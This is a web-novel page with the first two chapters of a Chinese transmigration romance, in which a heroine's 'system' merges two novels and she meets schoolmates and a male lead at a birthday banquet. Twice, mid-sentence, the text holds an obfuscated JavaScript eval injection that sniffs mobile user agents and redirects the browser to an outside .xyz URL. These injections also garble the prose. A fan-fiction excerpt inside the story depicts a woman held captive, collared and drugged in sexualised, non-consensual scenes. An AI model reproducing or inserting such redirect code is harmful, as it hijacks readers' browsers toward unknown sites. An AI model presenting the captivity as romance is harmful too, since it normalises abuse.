《穿进两本书被阴湿男鬼缠上了》 1. 第 1 章 出租屋逼仄狭小,处处透露着陈旧,和诡异。 因为这里的所有东西,包括床、窗户、书桌、桌上的水杯……全都是两个两个,以完全对称的形式存在着,仿佛屋子中间竖起了面巨大的镜子。 或是将两个时空强行黏到了一起。 温初夏就静静坐在左边的弹簧床上,听抽了风的系统播放三分钟内的第二次任务通知。 “尊敬的守护者,您好。您已与《逃婚99次:总裁的天价替身白月光》小说女二【温初夏】绑定成功。 本次任务要求:请维持女二疯批嫉妒狂的人物设定,按照设定情节发展走完全部剧情。 祝您任务愉快。” 愉快个鸡毛啊。 你来快个试试? 想着应该不会再有第三次了,温初夏捏起枕头上瑟瑟发抖的粉色小团子,平静的声音下隐藏着惊涛骇浪,足以把随身客服幼小的心灵拍死。 “这什么情况。”她面无表情。 “宿宿宿、宿主,是这样的!”粉团子吓的直结巴,“因为这些年小说同质化越来越严重,为了提高效率节约资源,总部研发了一项新技术,可以把两本相似度高的小说合并到一起。” “这项技术目前还处于研发阶段,不太成熟,本来三年五载内没打算启用的。但刚才,也就是你穿越的时候,不知道哪儿出了差错,系统误把这项技术用到了你身上,才造成了现在的局面。” 相似度高? 温初夏笑了。 古早玛丽苏校园文的清纯小白花女主,和狗血霸总文的恶毒女二的相似度高吗? 这俩除了人种和性别一致,其余完全都两模两样好吧!脑子瞎了才会觉得相似。 这次任务是温初夏解锁女主权限后的第一个任务,为了更有代入感,她千挑万选,最终定下了一本主角和自己同名的青春校园题材,《等风说雨停》。 讲述的是出身贫寒但聪明善良的女主温初夏,和家里有矿乖张叛逆的男主宋云泽,从相遇到相爱,期间经历了一系列经典老套的情节,最终HE的故事。 明明是一本难度系数约等于零的轻松小甜饼,总部居然也能给她整出花儿来。 温初夏皱眉环视着四周诡异的环境,正思考接下来该怎么办,突然,面前冒出一股极其刺目的白光,她急忙低头,用手臂捂住眼睛。 白光如潮起般到来,又如潮退般散去。 当她慢慢放下手时,发现竖在屋子中间的巨型“镜子”已然消失不见,世界神奇地恢复了正常。再抬头,连天花板的裂缝也愈合了。 粉团子兴奋地大叫:“宿主,我刚收到消息,总部说他们刚才紧急操作了一下,界面正常啦!” “怎么恢复的?” “总部的人说,他们刚刚把文库翻了个底朝天,找到一本和《等风说雨停》相似度极高的小说,叫《准时说爱你》,是《等风》的同人文,女主也是温初夏,引入后刚好能把融合度补到60%的及格线,所以界面就正常了。” 这也行? 虚惊一场的温初夏心中收回对总部的谩骂,兴致勃勃道:“那我想知道这篇同人文的剧情。” “没问题。” 话音刚落,面前的墙壁投影般出现一段深红的文字—— 【非常抱歉,相关内容因存在色情、有害等原因而被网站管理员锁定】 一人一团同时虎躯一震:色情?有害?? 紧接着又变成了—— 【已解锁】 【为维护网站秩序,共创文明纯洁正能量的网络阅读环境,该文将在30分钟后再次锁定,请抓紧时间阅读】 温初夏根本来不及疑惑为什么这篇文会被锁,赶紧一目十行开始阅读,生怕读不完。 【《准时说爱你》byWQSK PS:本文为《等风》同人,男主宋云泽OUT,男二时准上位,OOC十级预警(注意,这不是演习!) 密室昏暗,分不清黑夜白昼,只有一盏壁灯幽幽亮着暗光。 里面唯一的家居,只是一张圆形大床。 温初夏就静静蜷缩在床上出神。 她的脖子被锁上了特制的项圈,内侧包了柔软的皮革,就算再怎么用力挣扎,都不会在她娇嫩的皮肤上留下半点伤痕,最多只会红半天而已。 没人知道,她洁白的睡裙之下,遍布着青青紫紫的吻痕,和咬痕。 从手腕到肩头,从脚踝到耻骨。 像倾倒在白纸上的墨水,墙角里攀爬的霉菌。 突兀、湿冷、见不得光。 昨晚那条疯狗压着她从天黑一直折腾到天亮,泪水流干到只能流汗水,嗓子里发出的声音,从疯狂的咒骂渐渐变成嘶哑的呻吟。 甚至连固定在床头的铁链,都染上了黏腻可疑的水光。 结束后,疯狗给了她两个选择。 要么穿着衣服,继续呆在这暗无天日的密室里。 要么一/丝/不/挂,去楼上满是镜子的房间,和他跳一支舞。 和前两次一样,温初夏从大脑空白中勉强回过神后,选择了前者。 “为什么你就是不愿意和我跳舞呢?” 蒸腾的体/液像是粘合剂,将两人死死黏在一起,温初夏挣脱不开,只听见耳边响起恶魔的低吟—— “你还在想那个死人吗?” “吱呀——” 密室的门被打开,一个男人走了进来。 他个子很高,皮肤是病态的白,进门时头顶几乎要顶到门框,宽阔的肩显得腰身格外的细。 第一眼见他的人可能会觉得他弱,因为个儿又高又瘦,侧面还薄的像纸片一样,一看就弱不禁风。 温初夏从前也是这么认为的,直到三天前,她差点儿没在床上哭断气。 男人径直来到床边坐下,伸手用抱小猫的姿势把温如夏搂入怀中,下巴靠在她的肩膀,低沉的嗓音好像在撒娇:“夏夏,时间到了,该说你爱我了。” 触碰到的肌肤仿佛有电流通过,温初夏控制不住地激灵了一下,紧抓着床单的脚趾悄然松开。 明明不困,眼皮却半耷了下去。 男人当然知道她是怎么了,故意用手一下一下抚摸着她腰下的尾椎骨,感受到怀里的人跟随自己的动作而克制地轻颤,嘴角勾起一抹得逞的笑。 “我爱你。” 温初夏眼含热泪,柔肩颤动,但说话的声音却毫无起伏。 很明显,她在撒谎。 但男人毫不介意,反而像热恋中的爱人一样,温柔回应她的表白:“我也爱你。” 男人的眼眸深邃,瞳色深的像是黑曜石,盛满了足以令世界上任何一个女人为之疯狂的深情,可唯独打动不了温初夏。 空气陷入沉默。 良久,温初夏喊了他的名字:“时准。” “嗯?” 下巴轻柔地蹭了蹭她的肩窝。 “……你放过我好不好?” 女孩声音颤抖,不只是因为身体的某些反应,更是因为对自己现在处境的无力和绝望。 听到这话,男人眼里的深情尽数散去,取而代之的,是滔天的愤怒和偏执的疯狂。 “不、好。” 温柔的面具顷刻粉碎,骨骼分明的手覆上她柔软的衣领,稍微一用力,脆弱的扣子便接二连三崩开。 他一字一句,咬牙切齿道:“我要你一辈子都呆在我身边,对我说你、爱、我。” ……】 作为一名守护者,温初夏的人生经历可以说是相当丰富。 尤其是穿成恶毒女配的时候,为了凸显人物的阴险、恶毒、但无脑,她做出的脑残事能凑齐一套五本的抽象人类行为大赏。 温初夏以为,自己见过的世面已经够多了。但就在刚刚,她忽然发现自己还是太年轻、太片面、太自信了。 男主宋云泽死了是闹哪样啊! 什么时候死的?看起来好像是大结局之后诶。 怎么死的?自杀还是他杀?男主死了不是会引起界面崩溃吗?总部你确定不是融合了个炸弹进来吗?! 更过分的是男二时准。 作者你想写OOC我没意见,但至少该有个限度吧? 原文里的时准明明是温润深情,宁愿牺牲自己也要成全男女主的老好人设定,你文里这位阴冷病娇的货是闹哪般啊! 不仅囚禁女主,逼她每天在男主死亡的时间点说爱他,居然还给女主下了特殊的X药,自己一碰就浑身发软,别人想碰却武力值拉满,一巴掌能把人扇墙里扣都扣不出来。 并且,除了X药外,时准还有个外挂技能,就是能随时感知女主的方位,哪怕她逃到太平洋中央无人的小岛上当野人,时准也能开着直升机把她捞回来。 所以女主只能一边思念已逝的爱人,一边被时准玩弄于两股之间(是的我没打错你没看错),身心都备受折磨。 文章写的很香艳,温初夏看的很想死。 半小时后,封面重新添上红锁,阅读结束。 温初夏疑似失去所有的力气和手段,“嘭”一下瘫倒在床上,老旧的弹簧吱呀作响。 她要把这个狗逼系统给炸球了!!! …… 第二天清晨。 女孩穿戴整齐,挎上书包,出发去学校。 经过一晚上的思想斗争,温初夏想通了,反正逃不掉,不如选择接受,兵来将挡水来土掩,这把要是成了,至少够自己吹十年。 她是个心态很好的人。 《等风说雨停》中,女主温初夏所就读的学校是S市的一所知名私立高中,清荟书院。 这是一所贵族中学,百分之九十的学生都是家里有矿的富二代或富n代,剩下不到百分之十,是成绩特别拔尖的特优生。 例如我们的女主温初夏,中考成绩全市前三,高一一整年都霸着全校第一。 清荟不仅免除了她的学杂费,每学期还会给她发丰厚的奖学金,让她能勉强维持基本生活。 现在离上课铃响还有五分钟,老师没来,教室里一片懒散。 温初夏的座位在靠窗的最后一排,但当她走进教室时,却发现自己的位置被人霸占了,霸占的方式相当大张旗鼓。 对方穿着和自己同款的清荟校服,深棕色的柔顺长发烫了微卷,打扮精致身材姣好,光看背影就知道是个美女。 可她的所作所为,却不像她的外在一样讨喜。 只见这位小姐抱着胳膊坐在课桌上,一双棕色小皮鞋毫不客气地踩着桌后的板凳,一边悠闲抖腿,一边和周围人聊天。 可以,第一天就给我来个下马威。 温初夏表面上冷着脸,内心却兴奋起来。 她曲起指关节,敲了敲旁边的门。 “砰砰”两声脆响后,原本吵闹的教室迅速安静下来,棕发女生也转过头,一双圆圆的小鹿眼自带清纯buff,刻意睁大后,眼里盛满了无辜。 这种“哎呀,我……,你别生气嘛”的眼神,温初夏真是熟悉的都快腌入味儿了,所以她的第一反应不是生气,而是有些想笑—— 妹妹,想当绿茶,这演技还得再练练嗷。 知道你眼睛大,眼睛大就别这样刻意瞪,我看着都欢乐谷效应都快犯了。 “初夏。” 女生甜甜地开口,打破教室的沉默:“快上课了,你怎么站在门口不进来呀?” “叮!” 脑海里响起系统音: “《等风说雨停》女二【周雅宜】已上线。 人物介绍:周氏银行的千金,外表甜美可人,内心却暗藏阴险的种子,一心只爱男二时准,视女主温初夏为在学校的头号敌人,热衷于与她进行攀比。” 温初夏秀眉轻挑:恶毒女配?这我熟啊。 她没有立刻回应周雅宜,而是反手去捏挂在书包拉链上的粉团子,在交流频道里道:“问你个事儿啊,我之前当恶毒女二的时候,演技应该比她好吧?” “那当然啦。”粉团子吹起彩虹屁,“上任前主管给我看了你做女二任务的记录,宿主你表现得可好了,完全符合人设,精彩到让人看了忍不住想把手伸进屏幕扇几巴掌的程度呢!” “……” 你这究竟是夸还是讽??? 温初夏没注意,在自己和粉团子精神交流的这段时间里,教室的气氛因为她的谜之沉默而变得凝重,安静中透露着丝丝诡异。 围观的同学内心OS: 我靠温初夏的眼神好可怕啊,冷漠中带着愤恨,哀怨里藏着怜悯。她之前被周雅怡欺负过这么多回,这次终于打算奋起反击了?! 而方才还兴致勃勃要为难人的周雅宜,此刻也升起一阵紧张:温初夏这是想干嘛?不会要扑过来打我吧? 周雅宜心里犯怂,但为了面上挂得住,只能硬着头皮再次打破沉默,当然,这回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501992|170387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的声音就没那么甜了: “你没听见吗,我刚才说……” “呲——!” 板凳摩擦地板,发出尖锐声响。 温初夏拉开后门的凳子,把书包扔到桌上,绕身坐下,一套动作行为流水。 “你坐在我的座位上干什么?!”周雅宜一脸错愕。 “显而易见,换位子啊。”温初夏打开书包拿出课本,往几乎是空荡荡的桌肚里填,连一个多余的眼神都没给。 周雅宜没料到她会这样,脑子都是懵的,愣了两秒才又尖声道:“谁要跟你换位子了?你经过我的允许了吗!” “那你坐着我的课桌踩着我的板凳,经过我的允许了吗?”温初夏声音凉凉的。收拾完后,她拿着水杯站起来,想要去教室外接水。 莫名其妙落了下风的周雅宜有点想骂人,感受到周遭看戏的目光,她心里发虚,面上却更要硬撑: “我、我凭什么要你允许啊?教室里桌椅板凳又不是你家的,我想坐就坐怎么了。” 还有你那是什么眼神?别以为我看不出来,你心里肯定在骂我! “怎么了一个个的,扭着头看什么呢?” 这时,语文老师兼班主任阚春兰抱着课本从前门进来,镜片之下的目光十分犀利,“周雅宜、温初夏,你俩站在教室后面干什么?” 本来想去接水的温初夏立刻坐下,语气平淡又乖巧地回答:“没什么老师,就是我和周同学换了个位置。” 周雅宜一听,又炸了:“谁答应和你换位置了?!” 恰好这时上课铃打响,阚春兰看了看一脸淡定的温初夏,又看了看气急败坏的周雅宜,天平向一边倾斜。 她把课本放在讲台上,不容置噱道:“现在是上课时间,周雅宜你先坐下,有什么事下课再说。” 大小姐虽然跋扈,但基本的尊师重道还是懂的,更何况再闹下去自己面子也不好看,于是她轻跺了下脚,拉开原本属于温初夏的凳子,憋屈地坐下。 两秒后,周雅宜才意识到这个凳子是自己踩过的,于是从桌肚里掏出本《悲惨世界》,故意向温初夏晃了晃,等她眼神看过来时,就立刻把书垫在屁股下面。 温初夏内心呵呵,好幼稚的恶毒女二。 课后,周雅宜被阚春兰叫去了办公室,温初夏则拿着杯子去接水,刚拧紧杯盖转身准备回教室,忽然拐角处窜出来一个人,把她拦住。 “之前和你商量的事,考虑好了没?” 温初夏是先听见的声音,然后才抬起头,看见一位俊秀飞扬、浓眉大眼的少年。 “叮。” 系统音又响了: “《等风说雨停》男四【季明轩】已上线。 人物介绍:女二周雅宜的便宜表弟,千宠百爱中长大的独生子,从小就爱和周雅宜对着干,不学无术不求上进,唯一的人生规划就是在大学毕业后回家继承家业。” 进度很快嘛,配角扎堆出现。 三本书加在一起的信息量有点爆炸,温初夏在脑子里挖了好半天,都没想起来对方说的是那件事。 “你不会忘了吧。”季明轩有些无语,提醒道: “这周六是周雅宜的十六岁生日宴会,全班都会参加,我呢,可以给你送一套像样的礼服,让你到时候不至于格格不入觉得尴尬,而你就得配合我,一起给她使绊子。” 哟,搞破坏啊? 我喜欢。 温初夏来了兴致,问:“使什么绊子?” “我说你不会真失忆了吧。”季明轩更无语了,但还是耐着性子,道: “就是让你到时候尽量多找一班的时准聊聊天,多呆在他身边。我那便宜表姐讨厌天底下所有的男人,唯独喜欢时准——时准成绩也特好,你是年级第一他是年级第二,你俩肯定有共同话题。” “反正我表姐只要看见时准和别的女生讲话,她就不开心。而只要看见她不开心,我就很开心。” 季明轩信心十足:“怎么样?要合作吗?” 温初夏报之以虚伪的假笑,接着迅速冷脸:“呵呵,不约。” “为什么啊?”少年错愕。 “没有为什么,一边儿玩去吧你。” 温初夏不再理他,快步走去教室。 周雅宜的十六岁生日是个非常重要的剧情点,因为在原文中,女主温初夏和男二时准就是在宴会上认识的。 那晚,温初夏身穿一件素雅白裙,孤身一人站在众多打扮华丽复杂的宾客之间,如同一只误入都市樊笼的林间小鹿,满园姹紫嫣红中孤芳自赏的纯白玫瑰。 时准一见到她,就彻底挪不开眼了,从此便甘愿倾尽整个青春,默默守护在她的身旁。 而抛去所谓的女主光环外,时准之所以会对温初夏一见钟情死心塌地,并不只是因为她漂亮坚韧人格魅力拉满,而是—— 温初夏长的很像时准早夭的妹妹。 时淼的死是时家一道抹不去也好不了的伤疤,所以时准才会不受控制地想靠近温初夏,关心她呵护她,把她当做妹妹看待。 回到教室,温初夏发现桌子上多了一堆书,被周雅宜当屁垫使过的《悲惨世界》还堂而皇之地放在最上面。 弯腰往桌肚一看,属于周雅宜的零星几本书也被拿走了。 行,倒省的她自己动手了。 温初夏挺满意。 粉团子冒了出来:“宿主,你刚才为什么不答应季明轩啊?反正你周六晚上也是要和时准认识的嘛。” “我不是因为这个拒绝他的。”温初夏边收拾边说,“而是因为他说要送我礼服。” “送你礼服,有什么问题吗?”粉团子更不解了。 “当然有问题了!你看他的发型和打扮,活脱脱就是一自恋到无可救药的中二少年,审美肯定也很死亡。穿他送的礼服?我怕到时候我会拖着一身芭比粉蓬蓬裙走进宴会厅,周雅宜她们不得笑死。” “也是哦!”粉团子反应过来,崇拜道:“宿主你想事情真的很细致入微诶。” 温初夏坦然接受她的夸赞。 “可是……”粉团子又担忧起来,“周六晚上你要穿什么衣服去呢?” 温初夏低头把书本对齐,推进课桌,眼里闪着跃跃欲试的光。 “不用担心,到时候等着看好戏就行。” 想让我当你的好妹妹? 抱歉。 这回,该叫我姐姐咯。 2. 第 2 章 周六傍晚。 夜幕还未来临,繁华的国际大都市已然亮起千万霓虹,层次跌宕、恍若灯海。 从高空俯瞰,鳞次栉比的高楼大厦间,藏匿着一片灰扑扑的区域,与周围光鲜亮丽的商业区相比,显得格外不起眼。 夕阳西沉,一辆黑色宾利停在逼仄的巷口。 路灯微弱,借助这一抹并不明亮的灯光,能依稀看清里面延伸出的羊肠小道,靠墙的地方堆放着各种废弃物品,如油漆桶、纸板,还有断裂的塑料管道。 坐在副驾上的方管家是真没想到,自己已经是挑的车库里体积最小的多座车了,结果到了地方发现,还是开不进去。 他只好拿起手机打电话。 “喂小姐,我和司机已经到了,但巷子太窄车开不进来,只能在巷口等你。” 电话那头传来少女清冽的嗓音:“好,我这就出来——方叔,我要的东西都准备好了吗?” 许久没听见温初夏的声音,方管家脸上扬起一抹和蔼的笑,说:“当然准备好了。” “行,你等我两分钟啊。” 想起她腿上有旧伤,方管家忙道:“不着急,小姐你慢慢过来就行。” 五分钟后,方管家看见昏暗的巷子里有人影出现,便下了车,站在巷口迎接。 温初夏一见面就给了他一个爱的抱抱,两脚在空中扑腾一下,娇声道:“方叔,我好想你呀!还得是你靠谱,要是直接给我爸打电话,他肯定连我说的东西牌子是什么都记不清。” “董事每天长日理万机,这种份内的小事当然该由我来做。”方管家乐呵呵地拍了拍温初夏的后背,二人分开。 他见温初夏穿着一身朴素的休闲套装,料子不说多糙,但属于放在地下商场一百来块就能拿下的档次,眼里顿时浮现出心疼。 “小姐,你看你,自从离开家之后过的是什么日子啊。我听董事长说,他每月给你打的生活费你一分都没动过,难道你这一年真的是靠奖学金生活的吗?” 闻言,温初夏的情绪立刻冷了下去:“又要劝我回去是吧?我不!只要那个贱女人和那个野种还住在家里一天,我就绝对不会回去的!” 说完,她拉开宾利后排的车门,进去,用力关上。 “……哎。”方管家无奈地叹了口气,也跟着回到副驾驶。 半小时后,夜幕已然降临。 城市华灯如昼,马路川流不息,连绵的车灯连成交错蜿蜒的灯带,繁华的商业街熙熙攘攘人声鼎沸,象征着夜生活正式开始了。 宾利停在一道红灯前。 眼看着斑马线的行人即将走干净,倒计时只剩最后五秒,温初夏把口红拧回盖好,对着镜子整理唇妆。 绿灯亮起,车流浪潮般地向前涌,仿佛城市的脉搏重新跳动。 方管家透过后视镜,看见正神情自若打扮自己的温初夏—— 少女眉目灵动,瞳色极黑,紧致的肌肤白里透粉,侧脸轮廓清晰比例完美,转向正面,巴掌大的小脸又保留了一丝恰到好处的肉感。 这肉感肉的很精妙,多一分过于可爱,少一分,又会因为精致凌厉而显得成熟,分寸拿捏得刚刚好。 是青春期少女独有的胶原蛋白。 尤其惊艳的是她左眼下有一颗泪痣,笑起来的时候,深棕色圆点恰好卡在肥厚卧蚕的阴影线上,给清澈如泉的眼睛增加了一丝浑然天成的娇媚。 仿佛春风吹动桃花花瓣落入静水流深的清溪,泛起阵阵涟漪。 “小姐这两年出落的更加漂亮了,也更像董事长了。”方管家衷心夸赞。 温初夏抿抿唇,翘起小拇指清理着唇线,声音半含在嘴里:“那可不,我爸要是长得不帅,当年我妈怎么会看上他啊。” 女二温初夏的父亲名叫温汝峰,长得十分人模狗样,当年被宫家千金宫羽斓微服私访看上的时候,还只是个在宫氏集团旗下某基层打工的小小经理。 虽然温汝峰确实很有经商天赋,是个人才,但他之所以能当上董事长,百分之九十九的原因都是因为娶了宫家独生女当老婆。 说难听点,就是靠脸上位。 而这位靠脸上位的赘婿,结婚之后居然好意思出轨,不仅出轨,还搞出来了私生子,不仅搞出来了私生子,还仗着宫老爷子已经去世,胆大包天地把小三和私生子带到家里来住。 这谁能忍? 反正宫羽斓忍不了,但又因为牵扯到的利益太多,不能离婚,所以这两年一直在世界各地到处旅游,眼不见心不烦,无聊了就找年轻小鲜肉谈谈恋爱,夫妻俩各过各的。 提起宫羽斓,方管家想起什么,扭头说:“我听说夫人一月份打算去澳洲晒太阳,今年过年,小姐如果你还是不想回家的话,不如去澳洲找夫人吧。” 温初夏放下镜子,敷衍道:“嗐,到时候再说吧。” 很快,车子停在酒店门口。 车门打开,温初夏一只脚刚要迈出去,给她开门的方管家却没有让开,不放心地问:“小姐,你的腿穿高跟鞋真的没问题吗?” 在霸总文中,女二温初夏打娘胎里就是个小气鬼,不愿意和人分享任何东西,尤其是爱。 为了和她爹的私生子争宠,她故意在私生子生日那天制造车祸,想借此博取关注。 她计划得很好,先让车撞树上,然后假装自己受惊了或者受了轻伤,这样就有理由让爸爸整天陪着她了。 在去生日派对的路上,女二温初夏趁司机不注意,猛拉了一把方向盘,可怜的百万豪车如她所愿,撞进了路边的绿化带里。 但紧接着,不知道从哪儿忽然冒出一辆失控的大卡车…… 轰——! 玻璃碎裂,安全气囊瞬间爆出。 那次事故中,女二温初夏的右腿重伤到接近残废的地步,好不容易砸钱治好了,却也留下了严重的后遗症。她从此不能快跑不能跳高,哪怕长时间行走都会觉得吃力。 刚出事的半年里,霸总文男主AKA霸总本总,一直守在她身旁,照顾她、开导她。但生性要强的女二温初夏还是患上了严重的抑郁症,不得已要出国散心,外加康复治疗。 两人从此便断了联系,女二温初夏在国外纸醉金迷纵情享乐,情人炮友一个接一个。 与此同时,国内毫不知情的霸总却依旧把她当做心尖尖上的白月光。 以至于后来,当他看到和温初夏长相神似(实际就是同父异母)的十八线糊咖女主时,立刻把她当作替身包养起来,疯狂砸资源,将她从名不见经传的小演员,捧成当红影后。 直到女二温初夏因为家族争斗而匆忙回国,狗血的大门终于就此打开。 在各种保证“我的腿真的OK没问题你不用担心肯定摔不死我”之后,温初夏被迫套上方叔因为怕她冷而额外准备的酒红色貂皮外套,脚踩跟高6cm的红底高跟鞋,步履稳健地跟下了车,朝酒店大楼走去。 她姿态潇洒步调轻盈,走着走着,一个没注意,左脚鞋跟就潇洒地卡进了地砖的裂缝里。 感觉到自己突然凭空矮了两厘米,温初夏低头一看,顿时无语住了:谁家高级酒店门口的地砖居然是裂开的啊! 她右腿有旧伤不太能承重,偏偏左腿又卡得死紧,鞋跟和砖缝仿佛结成了榫卯结构,试了几次都没拔出来,反倒出了一层薄汗。 “靠。”数次尝试未果,温初夏烦躁地低骂一声,觉得把鞋脱了再拔,于是重心右移,想抽出左脚。 但她还是高估了这具身体的健全程度,左脚还没从鞋里拔起来呢,右腿就因为受力过重,抽筋了。 许久未得到锻炼的小腿肌如同听了印度神曲的蛇般疯狂扭动,温初夏瞬间就要冒冷汗。 我去疼疼疼疼疼疼——! 她赶紧就想撑一下旁边的柱子,稳住别摔倒。 结果手臂刚抬起来,还没碰到柱子,就被人扶住了。 只听“啪”一声极其细小的微响。 接触到的地方炸起一朵静电,这股措不及防又心惊肉跳的感觉如同地震来临时大地裂开的缝隙,顺着她的臂膀一路向上攀升,畅通无阻,直击心脏。 “小心。” 身后传来一道男声。 这人的音色非常好听,让温初夏无端联想到皓月当空下一支徐徐吹奏的玉箫,温润朗朗中犹存有少年人尚未褪去的青涩与脆生。 她的心脏跳漏了拍。 紧接着,烦人系统又出现了—— “叮!” “《等风说雨停》男二【时准】已上线。 人物介绍:@¥#%&*%……哔——(报错) 因界面融合导致其人物设定与原著出现较大偏差,具体性格特征请宿主自行体会探索。” 温初夏:“……” 真是辣鸡系统,没个卵用。 温初夏皱眉回头,一张精致完美的小脸无论走到哪儿都自带明媚夺目的光彩,但此刻脸上的表情却是臭臭的,十分不爽。 “你谁啊?” 她凶巴巴的,把对系统的怨恨也连带撒到了时准身上。 时准愣住,没想到自己出于好心居然还能被凶。 正常情况下遇到这种情况,肯定是会生气的。但不知道为什么,一见到温初夏这张漂亮的不像话的脸,时准就忍不住地心生好感,连他自己都觉得奇妙。 并且,隐约还有一种熟悉之感。 这颗泪痣…… 温初夏见时准一直盯着自己发呆,懵逼的表情配上他这张白皙清俊、帅气乖乖仔的脸虽然很可爱,但奈何同人文里黑化时准邪魅狂狷的形象已经刻进她的DNA里了。 所以温初夏的第一反应是惊艳,第二反应就是无比惊悚。 “你放开我!”她触电般连忙把手抽出来,又猛地后退小半步,卡在砖缝里的鞋跟终于成功解救出来。 时准手臂悬在空中半秒,转而尴尬地摸了摸米白色西装一丝不苟的排扣,不好意思道:“抱歉,我刚才是看见你差点儿摔倒了,所以才扶了你一下。” 温初夏这才想起刚才那股转瞬即逝的触电感,急忙去敲客服: “刚刚那是什么情况?!我记得同人文里时准给女主下药的时间明显是在《等风》大结局以后啊,怎么他刚才一碰我我就触电了?” “……宿主你要不看看你现在身上穿的是什么——刚才那就是普通静电啊!” 温初夏沉默。 是哦,她今晚赴宴穿的是某顶奢品牌三天前才在秀场首次亮相的秋季礼服,黑丝绒长裙,国内还没货,是连夜从巴黎总部紧急空运过来的,今天上午才送到温家。 丝绒面料本来就容易起静电,更何况她外面还套了层更加毛茸茸的貂。 虚惊一场虚惊一场。 温初夏默默长舒一口气。 “没事不用道歉,你也是好意。” 她态度瞬间转变,露出个笑不达心但很礼貌的微笑,向时准伸出手。 “自我介绍一下,我叫温初夏,来这儿是参加同学的生日宴会的,你呢?” “时准,也是来参加宴会的。” 两手轻轻一握,这次并没有擦出静电。 危机排除,温初夏脸上的笑容也多了几分真诚,她轻快道:“那咱俩一起上去吧。我只知道宴会在这个酒店,但不知道具体在哪层。” 周雅宜这枚齁嫩的小绿茶虽然演技不精,但该有的坏心眼却是一个都没少,从参加宴会的第一步就给温初夏下绊子。 只告诉酒店名字却不告诉具体地址,让温初夏用恶毒女配的惯常思维猜猜看,如果自己是独自一人走进酒店大堂,问前台哪层在办生日趴,对方多半会把自己领到一间没人的小黑屋里…… 虽然这种小场面,温初夏三两下就能处理好,但总归是耽误时间,毕竟她这次来的目的除了和时准打个照面认个脸熟外,还有个非常重要的事情要做。 宴会厅在32层,坐电梯上去要接近一分钟,这段时间肯定不能沉默地干站着,既尴尬又不礼貌,所以电梯门刚闭合上,时准就主动道: “我记得,你上学期期末考拿了年纪第一吧?真厉害,我经常能听到老师在办公室夸你,说你又聪明又刻苦。” 温初夏和他并排站着,闻言偏头看他一眼,回夸说:“你也很厉害啊,年纪第二。” 她说这话时轻轻笑了笑,卧蚕鼓起的瞬间,左眼下方的泪痣顿时变得极为生动,仿佛浩瀚宇宙中一点小小黑洞,能毫不费力地吞噬掉别人的目光。 时准忍不住又看呆了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501993|170387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “哦对了,有件事不知道能不能请你帮个忙。” 沉溺的人猛地浮出水面,心里暗自斥责自己刚才的失态,时准问:“什么?” 温初夏露出一个不太好意思的表情,搔了搔脸颊。 “就是吧,我虽然和雅宜是一个班的,但我俩最近的关系其实……有点微妙,前不久刚闹了点儿小矛盾。我这次来的目的呢,就是想亲自跟她道个歉。但这两天我思来想去,还是没想好要怎么和她开这个口,所以一会儿进了会场,你能不能先把我带在身边,等我措好辞了再去找她?不然直接撞上的话我俩都会很尴尬的。” 时准刚开始还以为是什么事,没想到这么简单,一口答应道:“当然可以。” 他本来就是个乐于助人的体贴性格,又和周雅宜一起长大,两人的母亲是非常好的朋友,他们不是兄妹胜似兄妹,哥哥帮助妹妹的好朋友和妹妹重归于好,理所当然。 “真的?太谢谢你了!”温初夏喜笑颜开。 时准见她笑了,淡色的唇角也忍不住跟着翘了翘,又说:“不过一会儿到了现场,我可能得先和在场的长辈们打个招呼,你要是觉得……” 他本来想说“你要是觉得尴尬,可以先在场外等一会儿,我打完招呼就立马出来找你”,没想到温初夏却连连摆手。 “不觉得不觉得,这个是最基本的礼节嘛。一会儿我就站在你身边充当一块默默无闻的背景板,你好好请你的安,不用在意我。” 话音刚落,电梯门打开,二人走出去。 宴会厅的温度比室外高好几个度,温初夏觉得热,脱下貂递给工作人员保管,又随手拿下一杯香槟,也不喝,只是举在身前做做样子。 视野开阔能肆意俯瞰城市夜景的落地窗前,几位雍容华贵的夫人正在聊天。 “哎呀,时间过得真快,一眨眼雅宜居然都十六岁了,再有两年就是成年人了。我还记得她小时候总爱扎两个小辫子穿一身小裙子,简直跟洋娃娃一模一样,但送她娃娃吧她又不要,说娃娃吓人,古灵精怪可招人疼了。” “孩子都是小的时候养着才有意思。”秋文兰无奈一笑,“自从雅宜上了初中,就越来越不像小时候那样活泼了,连我这个当妈的一周都和她说不了几句话,稍微多说两句就嫌我唠叨。” “嗐,现在的小孩儿都这样。青春叛逆期嘛,身边又都有这么多同龄朋友,不想和我们这些老一辈的人说话很正常。” 另一位夫人则表示不赞同:“要我说,亲与不亲还是得看命。像茵陈姐的那个崽,简直就像是老天爷赐来报恩的!懂事听话又顾家,好像和雅宜一样也是十六岁吧?哎呦!那一身少年老成的气度,说话办事又体面又周全,简直跟他爸一模一样。” 夫人满眼羡慕之色地看向林茵陈,问: “你还记得有次晚宴我不小心被玻璃碎片划伤的事吗?那么深的一道口子,还不停在往外冒血,连我先生都吓懵了,还得是你家小准反应快,赶紧冲过来帮我止血包扎,那手法专业的,肯定是他爸爸亲手教的吧?” 林茵陈垂眸笑笑,她生来一副弱柳扶风的婉约长相,一开口,声音也是轻轻柔柔的,让人忍不住心生保护欲。 “嗯,时准确实天生要比别的孩子稍微懂事一些。” 说曹操曹操到。 “妈,兰姨,你们在这儿聊天呢。” 